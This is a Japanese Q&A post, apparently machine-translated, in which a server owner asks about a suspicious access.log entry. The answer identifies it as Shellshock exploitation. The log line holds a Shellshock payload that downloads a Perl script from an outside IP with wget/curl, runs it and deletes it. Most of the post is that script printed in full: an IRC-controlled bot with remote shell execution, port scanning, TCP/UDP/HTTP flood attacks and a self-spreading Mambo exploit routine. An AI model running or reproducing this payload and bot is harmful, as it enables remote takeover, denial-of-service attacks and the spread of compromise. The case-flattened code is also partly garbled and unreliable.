質問: これは攻撃なのか、それとも懸念すべきことなのか?砲弾ショック? これを私のテストサーバーのaccess.logで見ました:> 173.45.100.18 - - [26/sep/2014:07:09:53 +0200] "get /cgi-bin/hi http/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -o /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" どのアドレスも私や私たちのip範囲(またはそのほかのこと)に関連していません shellshockセキュリティバグ /"bashdoor"についてすぐに考えていました。実際、誰かがサーバーにcurl "何か"を試み、その "何か"を実行し、その後-rfで "何か"を削除したようです。これは純粋なテストサーバーであり、害はありません(==再インストール以外の害はありません)-タイミングは非常に興味深いです。私が思い出す限り、これまでにこのようなものを見たことはありません。「興味がある」など、心配する必要がありますか?これが何かについて誰か知っていますか?
回答: それはshellshockバグを悪用している誰かです。 perlスクリプトが何をしていたかを判断できますか?これは間違いなくあなたが突っ込む価値があります。使用される2番目のurlは404を返しますが、http://213.5.67.223/jiは存在し、perlスクリプトであるため、同じものである可能性があります。 ircある種のサーバーであるように思われるため、ircクライアントでテストサーバーに接続することは興味深いかもしれません。編集:コメントで修正されました。あなたを覗き見できるクライアント。また、perlスクリプトがまだ実行されているかどうかを確認してください。#!/usr/bin/perl # ------------------------------------------------------------- # # linuxnet perlbot # # ------------------------------------------------------------- # #system("kill -9 `ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}'`"); #system("kill -9 `ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}'`"); #system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'`"); #system("kill -9 `ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}'`"); #system("kill -9 `ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}'`"); my $processo = '-'; my @titi = ("index.php?page=","main.php?page="); my $goni = $titi[rand scalar @titi]; my $linas_max='7'; my $sleep='7'; my @adms=("x","jb" ); my @hostauth=("localhost","outlaw"); my @canais=("#gnu"); my $nick='|gnu|'; my $ircname ='gnu'; chop (my $realname = `uname -sr`); $servidor='ircd.w3h.co.uk' unless $servidor; my $porta='443'; my $versao = '0.5'; $sig{'int'} = 'ignore'; $sig{'hup'} = 'ignore'; $sig{'term'} = 'ignore'; $sig{'chld'} = 'ignore'; $sig{'ps'} = 'ignore'; use io::socket; use socket; use io::select; chdir("/tmp"); $servidor="$argv[0]" if $argv[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "problema com o fork: $!" unless defined($pid); our %irc_servers; our %dcc; my $dcc_sel = new io::select->new(); $sel_cliente = io::select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $irc_cur_socket "$_[0]\n"; } } sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2]; my $irc_socket = io::socket::inet->new(proto=>"tcp", peeraddr=>"$servidor_con", peerport=>$porta_con) or return(1); if (defined($irc_socket)) { $irc_cur_socket = $irc_socket; $irc_socket->autoflush(1); $sel_cliente->add($irc_socket); $irc_servers{$irc_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$irc_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$irc_cur_socket}{'nick'} = $meunick; $irc_servers{$irc_cur_socket}{'meuip'} = $irc_socket->sockhost; nick("$meunick"); sendraw("user $ircname ".$irc_socket->sockhost." $servidor_con :$realname"); sleep 1; } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $irc_cur_socket = $fh; $meunick = $irc_servers{$irc_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg); for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\s+) notice auth :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } } sub parse { my $servarg = shift; if ($servarg =~ /^ping \:(.*)/) { sendraw("pong :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) privmsg (.+?) \:(.+)/) { my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; if ($args =~ /^\001version\001$/) { notice("$pn", "\001version mirc v6.16 khaled mardam-bey\001"); } if (grep {$_ =~ /^\q$hostmask\e$/i } @hostauth) { if (grep {$_ =~ /^\q$pn\e$/i } @adms) { if ($onde eq "$meunick"){ shell("$pn", "$args"); } if ($args =~ /^(\q$meunick\e|\.say)\s+(.*)/ ) { my $natrix = $1; my $arg = $2; if ($arg =~ /^\!(.*)/) { ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/); } elsif ($arg =~ /^\@(.*)/) { $ondep = $onde; $ondep = $pn if $onde eq $meunick; bfunc("$ondep","$1"); } else { shell("$onde", "$arg"); } } } } } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+nick\s+\:(\s+)/i) { if (lc($1) eq lc($meunick)) { $meunick=$4; $irc_servers{$irc_cur_socket}{'nick'} = $meunick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$meunick".int rand(999999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\s+)\s/i) { $meunick = $2; $irc_servers{$irc_cur_socket}{'nick'} = $meunick; $irc_servers{$irc_cur_socket}{'nome'} = "$1"; foreach my $canal (@canais) { sendraw("join $canal ddosit"); } } } sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018"); my (@aberta, %porta_banner); sendraw($irc_cur_socket, "privmsg $printl :\002[scan]\002 scanning ".$1." for open ports."); foreach my $porta (@portas) { my $scansock = io::socket::inet->new(peeraddr => $hostip, peerport => $porta, proto => 'tcp', timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } } if (@aberta) { sendraw($irc_cur_socket, "privmsg $printl :\002[scan]\002 open port(s): @aberta"); } else { sendraw($irc_cur_socket,"privmsg $printl :\002[scan]\002 no open ports found"); } } if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($irc_cur_socket, "privmsg $printl :\002[tcp]\002 attacking ".$1.":".$2." for ".$3." seconds."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($3>$cur_time){ $cur_time = time - $itime; &tcpflooder("$1","$2","$3"); } sendraw($irc_cur_socket, "privmsg $printl :\002[tcp]\002 attack done ".$1.":".$2."."); } if ($funcarg =~ /^version/) { sendraw($irc_cur_socket, "privmsg $printl :\002[version]\002 perlb0t ver ".$versao); } if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) { sendraw($irc_cur_socket, "privmsg $printl :\002[google]\002 scanning for unpatched mambo for ".$1." seconds."); srand; my $itime = time; my ($cur_time); my ($exploited); $boturl=$2; $cur_time = time - $itime;$exploited = 0; while($1>$cur_time){ $cur_time = time - $itime; @urls=fetch(); foreach $url (@urls) { $cur_time = time - $itime; my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/; $url =$path."/$goni$boturl" ; $page = http_query($url); $exploited = $exploited + 1; } } sendraw($irc_cur_socket, "privmsg $printl :\002[google]\002 exploited ".$exploited." boxes in ".$1." seconds."); } if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) { sendraw($irc_cur_socket, "privmsg $printl :\002[http]\002 attacking ".$1.":80 for ".$2." seconds."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){ $cur_time = time - $itime; my $socket = io::socket::inet->new(proto=>'tcp', peeraddr=>$1, peerport=>80); print $socket "get / http/1.1\r\naccept: */*\r\nhost: ".$1."\r\nconnection: keep-alive\r\n\r\n"; close($socket); } sendraw($irc_cur_socket, "privmsg $printl :\002[http]\002 attacking done ".$1."."); } if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($irc_cur_socket, "privmsg $printl :\002[udp]\002 attacking ".$1." with ".$2." kb packets for ".$3." seconds."); my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp}; sendraw($irc_cur_socket, "privmsg $printl :\002[udp]\002 sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." kb in ".$dtime." seconds to ".$1."."); } exit; } } } sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^join (.*)/) { j("$1"); } if ($case =~ /^refresh (.*)/) { my $goni = $titi[rand scalar @titi]; } if ($case =~ /^part (.*)/) { p("$1"); } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\s+)\s+(\s+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\s+)\s+(\s+)/); } if ($case =~ /^msg\s+(\s+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\s+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\s+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\s+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^connect\s+(\s+)\s+(\s+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "no such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($irc_cur_socket, "privmsg $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } } sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="sock$l"; socket($t,pf_inet,sock_stream,$proto); connect($t,$pa)||$j--; $j++;$l++; } $l=0; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="sock$l"; shutdown($t,2); $l++; } } sub udpflooder { my $iaddr = inet_aton($_[0]); my $msg = 'a' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(sock1, pf_inet, sock_raw, 2) or $cp++; socket(sock2, pf_inet, sock_dgram, 17) or $cp++; socket(sock3, pf_inet, sock_raw, 1) or $cp++; socket(sock4, pf_inet, sock_raw, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65000; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(sock1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(sock2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(sock3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(sock4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(sock5, pf_inet, sock_raw, $pc) or next; send(sock5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } sub ctcp { return unless $#_ == 1; sendraw("privmsg $_[0] :\001$_[1]\001"); } sub msg { return unless $#_ == 1; sendraw("privmsg $_[0] :$_[1]"); } sub notice { return unless $#_ == 1; sendraw("notice $_[0] :$_[1]"); } sub op { return unless $#_ == 1; sendraw("mode $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("mode $_[0] -o $_[1]"); } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("join $_[0]"); } sub p { part(@_); } sub part { sendraw("part $_[0]"); } sub nick { return unless $#_ == 0; sendraw("nick $_[0]"); } sub quit { sendraw("quit :$_[0]"); } # spreader # this 'spreader' code isnot mine, i dont know who coded it. # update: well, i just fix0red this shit a bit. # sub fetch(){ my $rnd=(int(rand(9999))); my $n= 80; if ($rnd<5000) { $n<<=1;} my $s= (int(rand(5)) * $n); my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec", "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop", "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi", "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk", "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir", "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke", "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm", "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc", "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz", "vu","vn","ye","yu","cd","zm","zw",""); my @str; foreach $dom (@dominios) { push (@str,"allinurl:%22".$dom."/".$goni."%22"); } my $query="www.google.com/search?q="; $query.=$str[(rand(scalar(@str)))]; $query.="&num=$n&start=$s"; my @lst=(); my $page = http_query($query); while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){ if ($1 !~ m/google|cache|translate/){ push (@lst,$1); } } return (@lst); } sub http_query($){ my ($url) = @_; my $host=$url; my $query=$url; my $page=""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-za-z0-9\.]+)\/.*/$1/; $query =~s/$host//; if ($query eq "") {$query="/";}; eval { local $sig{alrm} = sub { die "1";}; alarm 10; my $sock = io::socket::inet->new(peeraddr=>"$host",peerport=>"80",proto=>"tcp") or return; print $sock "get $query http/1.0\r\nhost: $host\r\naccept: */*\r\nuser-agent: mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; alarm 0; close($sock); }; return $page; }